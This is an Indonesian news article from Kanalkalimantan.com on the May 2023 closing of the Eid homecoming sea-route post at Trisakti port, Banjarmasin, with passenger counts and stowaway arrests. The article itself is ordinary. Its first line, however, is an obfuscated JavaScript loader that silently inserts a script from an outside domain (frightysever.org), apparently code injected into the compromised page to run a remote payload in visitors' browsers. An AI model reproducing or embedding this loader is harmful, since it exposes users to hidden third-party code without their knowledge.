(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mudik lebaran Idulfitri 1444 Hijriyah usai, pemerintah melalui Kantor Kesyahbandaran dan Otoritas Pelabuhan (KSOP) Kelas I Banjarmasin resmi menutup posko arus mudik jalur laut, Senin (8/5/2023) pagi.
Penutupan ditandai dengan apel gabungan yang dipimpin langsung oleh Kepala KSOP Banjarmasin Agustinus Maun di terminal penumpang Pelabuhan Trisakti Banjarmasin, Kalimantan Selatan.
Berdasarkan catatan otoritas pelabuhan, pada tahun ini terjadi peningkatan jumlah penumpang arus mudik maupun arus balik sebesar 8% jika dibandingkan lebaran 2022 lalu.
Baca juga : Baru 24 Tahun, Berani Mengincar Kursi Senator DPD RI Dapil Kalsel
“Jumlah total arus mudik dan arus balik penumpang sebanyak 32.023 orang atau terjadi kenaikan 8 persen dibandingkan tahun 2022,” kata Kepala KSOP Banjarmasin Agustinus Maun.
Pihaknya juga mencatat ada 6 kapal penumpang yang bersandar di pelabuhan Trisakti Banjarmasin dan terdapat 47 kali kunjungan selama arus mudik dan arus balik lebaran Idulfitri 1444 Hijriyah.
“Ada 47 kunjungan, kapal 6 unit dari 2 operator kapal Roro yaitu Dharma Lautan Utama dan PT Berlian Lautan Sejahtera,” ungkap Agustinus.
Agustinus menerangkan selama arus mudik dan arus balik berjalan cukup lancar dan aman, meskipun dikatakan petugas sempat mendapati beberapa penumpang gelap yang menaiki kapal tanpa mempunyai tiket.
Namun menurutnya, penumpang gelap yang naik ke kapal dan ada yang bersembunyi di truk tersebut berhasil dimankan petugas dan langsung dilakukan tindakan hukum lebih lanjut.
Baca juga: Pelantikan dan Pengukuhan Pengurus RAPI Wilayah 02 Kabupaten Banjar
“Ada 17 penumpang gelap bersembunyi di atas truk, 45 orang juga naik kapal tanpa tiket. Langsung kita lakukan penindakan dengan Polsek KPL,” ucapnya.
“Truk dan sopir ditahan sampai proses lebaran ini dan proses pidana tetap berjalan,” tambah Agustinus.
Kepala KSOP Banjarmasin menegaskn jika penumpang yang akan menaiki kapal di Pelabuhan Trisakti wajib mempunyai tiket, dan ketika didapati penumpang gelap akan langsung diamankan oleh pihak berwajib.
Lebih lanjut, dirinya berterimakasih kepada seluruh pihak yang telah membantu dalam proses pengamanan selama arus mudik dan arus balik lebaran di posko Terpadu Pelabuhan Trisakti Banjarmasin.
“Kedepan saat Nataru dan lebaran nanti kita berharap lebih baik lagi,” tutup Agustinus. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.